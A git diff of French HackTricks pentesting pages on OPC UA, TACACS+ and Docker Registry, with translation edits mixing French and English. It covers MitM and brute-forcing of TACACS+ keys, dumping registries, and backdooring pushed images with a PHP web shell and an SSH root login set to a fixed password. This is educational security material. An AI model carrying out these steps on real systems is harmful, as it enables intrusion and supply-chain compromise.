Pour révéler les problèmes de sécurité dans les serveurs OPC UA, scannez-les avec [OpalOPC](https://opalopc.com/).
|
||||
Pour révéler des problèmes de sécurité dans les serveurs OPC UA, scannez-le avec [OpalOPC](https://opalopc.com/).
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### Exploiter les vulnérabilités
|
||||
|
||||
Si des vulnérabilités de contournement de l'authentification sont trouvées, vous pouvez configurer un [client OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en conséquence et voir ce à quoi vous pouvez accéder. Cela peut permettre de simplement lire les valeurs de processus ou même de faire fonctionner des équipements industriels lourds.
|
||||
Si des vulnérabilités de contournement d'authentification sont trouvées, vous pouvez configurer un [client OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en conséquence et voir ce à quoi vous pouvez accéder. Cela peut permettre tout, de la simple lecture des valeurs de processus à l'exploitation réelle d'équipements industriels lourds.
|
||||
|
||||
Pour avoir une idée de l'appareil auquel vous avez accès, lisez les valeurs du nœud "ServerStatus" dans l'espace d'adressage et recherchez un manuel d'utilisation sur Google.
|
||||
Pour avoir un indice sur l'appareil auquel vous avez accès, lisez les valeurs du nœud "ServerStatus" dans l'espace d'adresses et recherchez un manuel d'utilisation sur Google.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -45,16 +46,17 @@ Pour avoir une idée de l'appareil auquel vous avez accès, lisez les valeurs du
|
|||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# 49 - Pentesting TACACS+
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,7 +25,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
## Informations de base
|
||||
|
||||
Le protocole **Terminal Access Controller Access Control System (TACACS)** est utilisé pour valider de manière centralisée les utilisateurs tentant d'accéder aux routeurs ou aux serveurs d'accès réseau (NAS). Sa version améliorée, **TACACS+**, sépare les services en authentification, autorisation et comptabilité (AAA).
|
||||
Le protocole **Terminal Access Controller Access Control System (TACACS)** est utilisé pour valider de manière centralisée les utilisateurs essayant d'accéder aux routeurs ou aux serveurs d'accès réseau (NAS). Sa version améliorée, **TACACS+**, sépare les services en authentification, autorisation et comptabilité (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
|
@ -33,26 +34,26 @@ PORT STATE SERVICE
|
|||
|
||||
## Intercepter la clé d'authentification
|
||||
|
||||
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, la **clé d'authentification chiffrée peut être interceptée**. L'attaquant peut ensuite tenter une **attaque par force brute locale contre la clé sans être détecté dans les journaux**. En cas de succès dans la force brute de la clé, l'attaquant obtient l'accès aux équipements du réseau et peut décrypter le trafic en utilisant des outils comme Wireshark.
|
||||
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, la **clé d'authentification chiffrée peut être interceptée**. L'attaquant peut alors tenter une **attaque par force brute locale contre la clé sans être détecté dans les journaux**. S'il réussit à forcer la clé, l'attaquant obtient un accès à l'équipement réseau et peut déchiffrer le trafic en utilisant des outils comme Wireshark.
|
||||
|
||||
### Réalisation d'une attaque MitM
|
||||
### Réaliser une attaque MitM
|
||||
|
||||
Une **attaque de spoofing ARP peut être utilisée pour réaliser une attaque de l'Homme du Milieu (MitM)**.
|
||||
Une **attaque par spoofing ARP peut être utilisée pour réaliser une attaque Man-in-the-Middle (MitM)**.
|
||||
|
||||
### Force brute de la clé
|
||||
### Forcer la clé
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) peut être utilisé pour effectuer une force brute sur la clé :
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) peut être utilisé pour forcer la clé :
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Si la clé est réussie **forcée (généralement au format crypté MD5)**, **nous pouvons accéder à l'équipement et décrypter le trafic chiffré TACACS.**
|
||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||
|
||||
### Décryptage du trafic
|
||||
Une fois la clé réussie craquée, la prochaine étape consiste à **décrypter le trafic chiffré TACACS**. Wireshark peut gérer le trafic TACACS chiffré si la clé est fournie. En analysant le trafic décrypté, des informations telles que la **bannière utilisée et le nom d'utilisateur de l'administrateur** peuvent être obtenues.
|
||||
### Decrypting Traffic
|
||||
Une fois la clé correctement craquée, l'étape suivante consiste à **décrypter le trafic TACACS chiffré**. Wireshark peut gérer le trafic TACACS chiffré si la clé est fournie. En analysant le trafic décrypté, des informations telles que le **bannière utilisée et le nom d'utilisateur de l'utilisateur admin** peuvent être obtenues.
|
||||
|
||||
En accédant au panneau de contrôle de l'équipement réseau en utilisant les identifiants obtenus, l'attaquant peut exercer un contrôle sur le réseau. Il est important de noter que ces actions sont strictement à des fins éducatives et ne doivent pas être utilisées sans autorisation appropriée.
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
@ -62,16 +63,17 @@ En accédant au panneau de contrôle de l'équipement réseau en utilisant les i
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# 5000 - Pentesting Docker Registry
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
|
||||
Un système de stockage et de distribution appelé **registre Docker** est en place pour les images Docker qui sont nommées et peuvent exister en plusieurs versions, distinguées par des tags. Ces images sont organisées dans des **dépôts Docker** dans le registre, chaque dépôt stockant différentes versions d'une image spécifique. La fonctionnalité fournie permet de télécharger des images localement ou de les téléverser vers le registre, à condition que l'utilisateur ait les autorisations nécessaires.
|
||||
Un système de stockage et de distribution connu sous le nom de **Docker registry** est en place pour les images Docker qui sont nommées et peuvent exister en plusieurs versions, distinguées par des tags. Ces images sont organisées au sein de **Docker repositories** dans le registre, chaque dépôt stockant différentes versions d'une image spécifique. La fonctionnalité fournie permet de télécharger des images localement ou de les télécharger vers le registre, à condition que l'utilisateur dispose des autorisations nécessaires.
|
||||
|
||||
**DockerHub** sert de registre public par défaut pour Docker, mais les utilisateurs ont également la possibilité de faire fonctionner une version sur site du registre/distribution Docker open-source ou d'opter pour le **Docker Trusted Registry** pris en charge commercialement. De plus, divers autres registres publics peuvent être trouvés en ligne.
|
||||
**DockerHub** sert de registre public par défaut pour Docker, mais les utilisateurs ont également la possibilité d'exploiter une version sur site de l'enregistrement/distribution Docker open-source ou d'opter pour le **Docker Trusted Registry** soutenu commercialement. De plus, divers autres registres publics peuvent être trouvés en ligne.
|
||||
|
||||
Pour télécharger une image à partir d'un registre sur site, la commande suivante est utilisée :
|
||||
Pour télécharger une image depuis un registre sur site, la commande suivante est utilisée :
|
||||
```bash
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
Ce commande récupère l'image `foo/bar` de la version `2.1` depuis le registre sur site web au domaine `my-registry` sur le port `9000`. En revanche, pour télécharger la même image depuis DockerHub, surtout si `2.1` est la dernière version, la commande se simplifie à:
|
||||
Cette commande récupère l'image `foo/bar` version `2.1` depuis le registre sur site au domaine `my-registry` sur le port `9000`. En revanche, pour télécharger la même image depuis DockerHub, en particulier si `2.1` est la dernière version, la commande se simplifie à :
|
||||
```bash
|
||||
docker pull foo/bar
|
||||
```
|
||||
|
@ -35,20 +36,20 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
## Découverte
|
||||
|
||||
La manière la plus simple de découvrir ce service en cours d'exécution est de l'obtenir dans la sortie de nmap. Quoi qu'il en soit, notez que comme c'est un service basé sur HTTP, il peut être derrière des proxies HTTP et nmap ne le détectera pas.\
|
||||
Quelques empreintes digitales :
|
||||
Le moyen le plus simple de découvrir ce service en cours d'exécution est de l'obtenir dans la sortie de nmap. Quoi qu'il en soit, notez que comme c'est un service basé sur HTTP, il peut être derrière des proxies HTTP et nmap ne le détectera pas.\
|
||||
Quelques empreintes :
|
||||
|
||||
- Si vous accédez à `/`, rien n'est renvoyé dans la réponse
|
||||
- Si vous accédez à `/v2/`, alors `{}` est renvoyé
|
||||
- Si vous accédez à `/v2/_catalog`, vous pouvez obtenir :
|
||||
- `{"repositories":["alpine","ubuntu"]}`
|
||||
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
* Si vous accédez à `/`, rien n'est retourné dans la réponse
|
||||
* Si vous accédez à `/v2/`, alors `{}` est retourné
|
||||
* Si vous accédez à `/v2/_catalog`, vous pouvez obtenir :
|
||||
* `{"repositories":["alpine","ubuntu"]}`
|
||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## Énumération
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Le registre Docker peut être configuré pour utiliser **HTTP** ou **HTTPS**. Donc, la première chose que vous devrez peut-être faire est de **trouver lequel** est configuré :
|
||||
Le registre Docker peut être configuré pour utiliser **HTTP** ou **HTTPS**. Donc, la première chose que vous devrez peut-être faire est **de trouver lequel** est configuré :
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
|
@ -59,9 +60,9 @@ Warning: <FILE>" to save to a file.
|
|||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
### Authentification
|
||||
### Authentication
|
||||
|
||||
Le registre Docker peut également être configuré pour exiger une **authentification** :
|
||||
Docker registry peut également être configuré pour exiger **authentication** :
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
|
@ -69,14 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
Si le Docker Registry nécessite une authentification, vous pouvez [**essayer de le forcer en utilisant ceci**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**Si vous trouvez des identifiants valides, vous devrez les utiliser** pour énumérer le registre, dans `curl` vous pouvez les utiliser de cette manière :
|
||||
Si le Docker Registry nécessite une authentification, vous pouvez [**essayer de le brute forcer en utilisant ceci**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**Si vous trouvez des identifiants valides, vous devrez les utiliser** pour énumérer le registre, dans `curl` vous pouvez les utiliser comme ceci :
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
### Énumération en utilisant DockerRegistryGrabber
|
||||
### Enumeration using DockerRegistryGrabber
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) est un outil python pour énumérer / extraire le registre Docker (sans ou avec une authentification de base)
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) est un outil python pour énumérer / extraire le registre docker (sans ou avec une authentification de base)
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
|
@ -150,9 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### Énumération en utilisant curl
|
||||
### Enumeration using curl
|
||||
|
||||
Une fois que vous avez **obtenu l'accès au registre Docker**, voici quelques commandes que vous pouvez utiliser pour l'énumérer :
|
||||
Une fois que vous **avez obtenu l'accès au registre docker**, voici quelques commandes que vous pouvez utiliser pour l'énumérer :
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
|
@ -216,7 +217,7 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
|||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Notez que lorsque vous téléchargez et décompressez les fichiers blobs, des dossiers et des fichiers apparaîtront dans le répertoire actuel. **Si vous téléchargez tous les blobs et les décompressez dans le même dossier, ils écraseront les valeurs des blobs précédemment décompressés**, soyez donc prudent. Il peut être intéressant de décompresser chaque blob dans un dossier différent pour inspecter le contenu exact de chaque blob.
|
||||
Notez que lorsque vous téléchargez et décompressez les fichiers et dossiers blobs, ils apparaîtront dans le répertoire actuel. **Si vous téléchargez tous les blobs et les décompressez dans le même dossier, ils écraseront les valeurs des blobs précédemment décompressés**, donc soyez prudent. Il peut être intéressant de décompresser chaque blob dans un dossier différent pour inspecter le contenu exact de chaque blob.
|
||||
{% endhint %}
|
||||
|
||||
### Énumération en utilisant docker
|
||||
|
@ -238,10 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
### Installation d'une porte dérobée dans l'image WordPress
|
||||
### Backdooring WordPress image
|
||||
|
||||
Dans le scénario où vous avez trouvé un Docker Registry sauvegardant une image WordPress, vous pouvez y installer une porte dérobée.\
|
||||
**Créez** la **porte dérobée** :
|
||||
Dans le scénario où vous avez trouvé un Docker Registry sauvegardant une image wordpress, vous pouvez y insérer un backdoor.\
|
||||
**Créez** le **backdoor** :
|
||||
|
||||
{% code title="shell.php" %}
|
||||
```bash
|
||||
|
@ -259,17 +260,17 @@ RUN chmod 777 /app/shell.php
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Créez** la nouvelle image, **vérifiez** qu'elle est créée, et **poussez** la :
|
||||
**Créez** la nouvelle image, **vérifiez** qu'elle est créée, et **poussez**-la :
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
### Introduction d'une porte dérobée dans l'image du serveur SSH
|
||||
### Backdooring SSH server image
|
||||
|
||||
Supposez que vous ayez trouvé un Docker Registry avec une image SSH et que vous souhaitez y introduire une porte dérobée.\
|
||||
**Téléchargez** l'image et **exécutez** la commande suivante :
|
||||
Supposons que vous ayez trouvé un Docker Registry avec une image SSH et que vous souhaitiez y insérer une porte dérobée.\
|
||||
**Téléchargez** l'image et **exécutez**-la :
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
|
@ -278,7 +279,7 @@ Extraire le fichier `sshd_config` de l'image SSH :
|
|||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
Et modifiez-le pour définir: `PermitRootLogin yes`
|
||||
Et modifiez-le pour définir : `PermitRootLogin yes`
|
||||
|
||||
Créez un **Dockerfile** comme celui-ci :
|
||||
|
||||
|
@ -289,7 +290,10 @@ FROM 10.10.10.10:5000/sshd-docker-cli
|
|||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
**Créez** la nouvelle image, **vérifiez** qu'elle est créée, et **poussez** la :
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Créez** la nouvelle image, **vérifiez** qu'elle a été créée, et **poussez**-la :
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
|
@ -299,16 +303,17 @@ docker push registry:5000/sshd-docker-cli #Push it
|
|||
## Références
|
||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
